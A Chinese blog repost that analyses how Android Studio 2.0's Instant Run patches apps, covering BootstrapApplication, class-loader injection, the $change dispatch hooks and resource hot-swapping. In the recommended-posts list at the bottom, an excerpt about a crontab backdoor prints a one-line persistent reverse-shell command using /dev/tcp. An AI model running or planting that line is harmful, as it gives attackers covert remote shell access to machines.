一、前言

Android Studio 2.0开始支持 Instant Run 特性, 使得在开发过程中能快速将代码变化更新到设备上。之前,更新代码之后需要先编译一个完整的新Apk,卸载设备上已安装的这个 Apk (若有),再 push 到设备安装,再启动。有了 Instant Run 特性之后,只需要 push 一些增量到设备上,直接执行,可以为开发人员节省大量时间。当然 Instant Run 特征只在 debug 时有效,对发布 release 版没有任何影响。

Instant Run 通过 hot swap, warm swap, code swap 三种 swap 来实现。Android Studio 会根据代码的改变自动决定 push 哪种 swap 到设备上,并根据不同的 swap 执行不同的行为。

代码改变内容 Instant Run 行为
修改一个实例方法或者一个静态方法的实现 hot swap: 这是最快的情况,下次调用该方法时直接使用更新后的方法
修改或者删除一个资源 warm swap: App 保护运行状态,但是会自动重启 activity, 所以屏幕会闪一下
  • 增加、删除或修改((1)注解 (2)成员变量/静态变量/方法签名)
  • 修改类的继承关系、实现的接口
  • 修改类的静态代码块
  • 利用动态资源ID改变资源顺序
  • cold swap(Api level >= 21): 需要重启App
  • 若Api level < 21, 则需要重新编译整个app
  • 修改 AndroidManifest.xml
  • 修改被 AndroidManifest.xml 引用的资源
  • 修改 widget UI
需要重新编译整个App

下面分析 Instant Run 的实现原理。Instant Run 特性是通过 gradle plugin (版本大于2.0)与 instant-run.jar 来实现的。gradle plugin 会对dex作一些必要的修改, 而 instant-run.jar 会被编译进 dex, 在运行的时候执行相应的功能。

二、第一次编译时对Apk的修改


<!-- 若 Apk 无 Application, 则在 AndroidManifest 中增加:-->
<application
android:name="com.android.tools.fd.runtime.BootstrapApplication"
...... >
<!-- 若 Apk 已经有 Application,则更改为: -->
<application
android:name="com.android.tools.fd.runtime.BootstrapApplication"
name="com.testbugrpt.MyApplication"
...... >

自动增加依赖 Jar 包,instant-run.jar

先介绍几个类,剩下的后面遇到再介绍:

Server:主要是建立一个 socket 服务器等待 Android Studio 的连接。Anroid Studio 发送相关的命令及数据(hot, warm, cold..., 命令字定义在 ProtocolConstants 中),Server 接收并执行,实现 Instant Run。

IncrementalChange:是一个接口:


public interface IncrementalChange {
Object access$dispatch(String arg1, Object[] arg2);
}

AppInfo:含有一些基本信息:

BootstrapApplication, 由于被设置成了 Apk 的 Application,所以 App 启动时最早得到执行机会:

首先会执行 attachBaseContext 方法:

在 setupClassLoaders 方法中,new 一个 IncrementalClassLoader, 用这个 loader 加载补丁 dex, 并将这个loader设置为当前 classloader 的 parent, 最后启动 server。

初始化 apk 原本 application, 并执行 attachBaseContext 方法。

再执行onCreate方法:

MonkeyPatcher.mokeyPatchApplication 主要是通过反射调用各种未导出的方法,将 ActivityThread 中的一些关于 application 的变量由 BootstrapApplication 更改为原 apk 的 application, 这一步与加壳中的逻辑是一样的。

MonkeyPatcher.MonkeyPathExisingResources 处理资源相关内容, 后面再详细介绍。

写个简单的类GenString:


public class GenString { public String genString (int i){
return String.valueOf(i);
} public static String genString2(int i){
return String.valueOf(i);
}
}

反编译生成的 Debug 版本 Apk, 分析对应的 GenString.smali:

增加静态变量:

# static fields

.field public static volatile synthetic $change:Lcom/android/tools/fd/runtime/IncrementalChange;

方法 genString ( genString2 类似)被更改为:


public String genString(int i) {
Object v0_1;
IncrementalChange v0 = GenString.$change;
if(v0 != null) {
v0_1 = v0.access$dispatch("genString.(I)Ljava/lang/String;", new Object[]{this, new Integer(i)});
} else {
String v0_2 = String.valueOf(i);
}
return ((String)v0_1);
}

可以看到整个函数的流程被类静态变量 $change 控制,若 $change 为 null,则执行原始逻辑;若 $change 不为 null, 则执行 $change.access$dispatch 方法,该方法的第一个参数为 getString 方法的签名,第二个参数为一个数组,用于放置getString 的所有参数。

第一次运行时,$change 会被设置为 null, 所以就是执行原始逻辑。当有 genString 有更改并启动 instant run 时,$change 就会被赋值,这样当执行到 genString 时,会调用 $change.access$dispath 方法。

下面分析这个 $change 何时会被设置,会被设置成什么, 以及 access$dispatch 的实现。

三、更改 Java 代码时, Instant Run 的执行流程

现在更改 genString2 方法为:


public static String genString2(int i){
return "helloworld_" + String.valueOf(i);
}

instant run之后,发现/data/data/com.testbugrpt/files/instant-run/dex-temp目录下增加文件:

-rw------- u0_a239 u0_a239 2276 2016-04-19 02:25 reload0x0000.dex

可以发现这个Dex几乎只是包含了被修改的类。

AppPatchesLoaderImpl中包含有所有被修改了代码的类名。

另外在被修改类的类名后面加上 $override 组成一个新 classname, 并实现 IncrementalChange 接口。在这个类中:

现在可以猜想到:上一节分析到的 $change 会被设置为 GenString$override, $change.access$dispath 会根据方法的签名调用对应的修改后的方法。下面确认这一过程。

Server接收到请求后:

请求数据包格式大概像这样子:

对于 hot swap

动态加载 Android Studio 传送过来的补丁 Dex, 并生成 com.android.tools.fd.runtime.AppPatchesLoaderImpl 的一个对象。由于 AppPatchesLoaderImpl 继承自 AbstractPatchesLoaderImpl, 所以上面的 load 方法其实是 AbstractPatchesLoaderImpl 的:

将每一个需要 patch 的 class 的静态变量 $change 设置为补丁 dex 中的 oriClassName$override。

这样,如果下次调用这些修改后的方法,就会因为 $change 为非空而调用 $change.access$dispath 方法, 这个方法通过第一个参数(即方法签名)从而确定到补丁 Dex 中的相应方法,最终实现 hot swap。

四、修改资源后,Instant Run 的执行流程

 

点击运行后,发现增加了一个文件:

root@g520:/data/data/com.testbugrpt/files/instant-run/right # ll

-rw------- u0_a240 u0_a240 231210 2016-04-20 01:53 resources.ap_

其实是一个 zip 资源包, 就像系统的 framework-res.apk 这个包里包含了当前的所有资源,包含了更新后的资源。

先简单介绍一下 Activity 获取资源时所涉及的几个主要数据结构(因系统版本不同有差异):

Activity 处理资源是通过 mResource 来进行的,而 Resource 会将这些操作都代理给 mAsset。

/system/framework/framework-res.apk 是系统资源,/data/app/xxx.apk 是 App 自身路径,表示可以访问自己本身的资源。如果把这个路径指向其它的资源路径,那就可以访问其它的资源了。Instant Run 热更新资源的思路就是,新建一个 AssetManager 对象,调用 addAssetPath 将 resources.ap_ 加到它的 path 上面。然后遍历所有的 Activity, 将每一个 Activity 的 mResource 中的 mAsset 设置为新建的 AssetManager 对象。

当然还有许多细节要处理。Activity中关于theme中的AssetManger对象也需要更新,需要清空当前Resource对象的cache等等。

这个实现代码主要在 MonkeyPatcher.MonkeyPathExisingResources。

五、其它

Instant Run可能存在的问题:

  • 1、Instant Run 需要为 class 增加 method 来实现,若原 dex 的方法数量接近64K, 使用 Instant Run 大约将增加(140 + 3 * class个数)method, 导致超过64K上限,引起 build 出错。

  • 2、如果已经使用 multi-dex, 而主 dex 方法接近65K, 也可能导致 build 出错。

  • 3、multiprocess 时,可能禁用 instant run。

没有分析到的细节:

  • 1、instant run 为了屏蔽系统之间的差异,做了许多兼容性处理。

  • 2、instant run 对 native so 的处理。

  • 3、在 multi-dex 环境下,instant run 的处理。

  • 4、warm swap, cold swap 细节。

参考文献:
1、http://jiajixin.cn/2015/11/25/instant-run/
2、http://tools.android.com/tech-docs/instant-run
3、https://iobservable.net/blog/2016/03/20/how-android-instant-run-works/
4、http://mogu.io/117-117
5、http://blog.csdn.net/hknock/article/details/48003071
6、https://github.com/mmin18/LayoutCast
7、https://github.com/jasonross/Nuwa

【转载】InstantRun 原理——深度剖析 AndroidStudio 2.0的更多相关文章

  1. 63、Spark Streaming:架构原理深度剖析

    一.架构原理深度剖析 StreamingContext初始化时,会创建一些内部的关键组件,DStreamGraph,ReceiverTracker,JobGenerator,JobScheduler, ...

  2. Mysql binlog应用场景与原理深度剖析

    1 基于binlog的主从复制 Mysql 5.0以后,支持通过binary log(二进制日志)以支持主从复制.复制允许将来自一个MySQL数据库服务器(master) 的数据复制到一个或多个其他M ...

  3. elasticsearch中filter执行原理深度剖析(bitset机制与caching机制)

    (1)在倒排索引中查找搜索串,获取document list date来举例 word doc1 doc2 doc3 2017-01-01 * *2017-02-02  *   *2017-03-03 ...

  4. Java引用类型原理深度剖析,看完文章,90%的人都收藏了

    本文为synchronized系列第二篇.主要内容为分析偏向锁的实现. 偏向锁的诞生背景和基本原理在上文中已经讲过了. 本文将分为几块内容: 1.偏向锁的入口 2.偏向锁的获取流程 3.偏向锁的撤销流 ...

  5. Kafka架构和原理深度剖析

    Kafka简介 Kafka是一种分布式的,基于发布/订阅的消息系统.主要设计目标如下: 以时间复杂度为O(1)的方式提供消息持久化能力,并保证即使对TB级以上数据也能保证常数时间的访问性能 高吞吐率. ...

  6. 深度剖析YOLO系列的原理

    深度剖析YOLO系列的原理 本文系作者原创,转载请注明出处:https://www.cnblogs.com/further-further-further/p/12072225.html 目录 1. ...

  7. Java反射机制剖析(四)-深度剖析动态代理原理及总结

    动态代理类原理(示例代码参见java反射机制剖析(三)) a)  理解上面的动态代理示例流程 a)  理解上面的动态代理示例流程 b)  代理接口实现类源代码剖析 咱们一起来剖析一下代理实现类($Pr ...

  8. 深度剖析HashMap的数据存储实现原理(看完必懂篇)

    深度剖析HashMap的数据存储实现原理(看完必懂篇) 具体的原理分析可以参考一下两篇文章,有透彻的分析! 参考资料: 1. https://www.jianshu.com/p/17177c12f84 ...

  9. ASP.NET MVC深入浅出系列(持续更新) ORM系列之Entity FrameWork详解(持续更新) 第十六节:语法总结(3)(C#6.0和C#7.0新语法) 第三节:深度剖析各类数据结构(Array、List、Queue、Stack)及线程安全问题和yeild关键字 各种通讯连接方式 设计模式篇 第十二节: 总结Quartz.Net几种部署模式(IIS、Exe、服务部署【借

    ASP.NET MVC深入浅出系列(持续更新)   一. ASP.NET体系 从事.Net开发以来,最先接触的Web开发框架是Asp.Net WebForm,该框架高度封装,为了隐藏Http的无状态模 ...

随机推荐

  1. C++代码注入

    一.C++代码注入原则: 在注入代码中不允许使用API. 在注入代码中不允许使用全局变量. 在注入代码中不允许使用字符串(编译时也被当做全局变量). 在注入代码中不允许使用函数嵌套. 二.注入代码编写 ...

  2. SpringCloud-动态配置变化监控-获取变化(支持Config、Nacos)

    SpringCloud-动态配置变化监控-获取变化(支持Config.Nacos) qq交流群: 812321371 微信交流群: MercyYao 简介 配置中心有原生的 SpringCloud C ...

  3. CountDownLatch源码及Javadoc阅览

    /** * A synchronization aid that allows one or more threads to wait until * a set of operations bein ...

  4. Cocos Creator 通用框架设计 —— 资源管理

    如果你想使用Cocos Creator制作一些规模稍大的游戏,那么资源管理是必须解决的问题,随着游戏的进行,你可能会发现游戏的内存占用只升不降,哪怕你当前只用到了极少的资源,并且有使用cc.loade ...

  5. crontab一句话后门分析

    正常版本 (crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1&g ...

  6. PHP in_array

    1.函数的作用:判读一个元素是否在一个数组存在 2.函数的参数: @param mixed $needle @param array $array 3. if it’s ok to use isset ...

  7. 一起来看一下Java中的Annotation注解

    目录: 一. 什么是Annotation 二. Annotation的作用 2.1 编译器使用到的注解 2.2 .class文件使用到的注解 2.3 运行期读取的注解 三. 定义Annotation ...

  8. 实用---java保留小数点后位数以及输出反转数字

    //方法一double b = 8.0/3.0; //与C语言不同,此处8.0和8有所区分 String format = String.format("%.2f,b"); //表 ...

  9. Spring Boot项目中如何定制HTTP消息转换器

    在构建RESTful数据服务过程中,我们定义了controller.repositories,并用一些注解修饰它们,但是到现在为止我们还没执行过对象的转换--将java实体对象转换成HTTP的数据输出 ...

  10. vue-cli 3.x 自定义插件并发布到 npm

    干货转载——https://www.cnblogs.com/wisewrong/archive/2018/12/28/10186611.html 全是知识点呐 赶紧记下来啊 一.调整项目结构 首先用 ...